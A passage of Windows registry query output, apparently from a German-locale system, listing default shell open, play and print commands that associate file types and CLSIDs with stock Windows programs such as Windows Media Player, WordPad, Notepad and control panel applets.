        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:8 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M3U\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M3U\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:9 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:5 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMD\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /layout:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMZ\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /layout:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.DLNA-PLAYSINGLE\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.MMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    netplwiz.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\shell32.dll,Control_RunDLL C:\Windows\SysWOW64\inetcpl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\SysWOW64\colorcpl.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WPDContextMenu.Url\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xmlfile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xslfile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\shell\open\command
        (Standard)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\Windows Media Player\shell\open\command
        (Standard)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
        (Standard)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
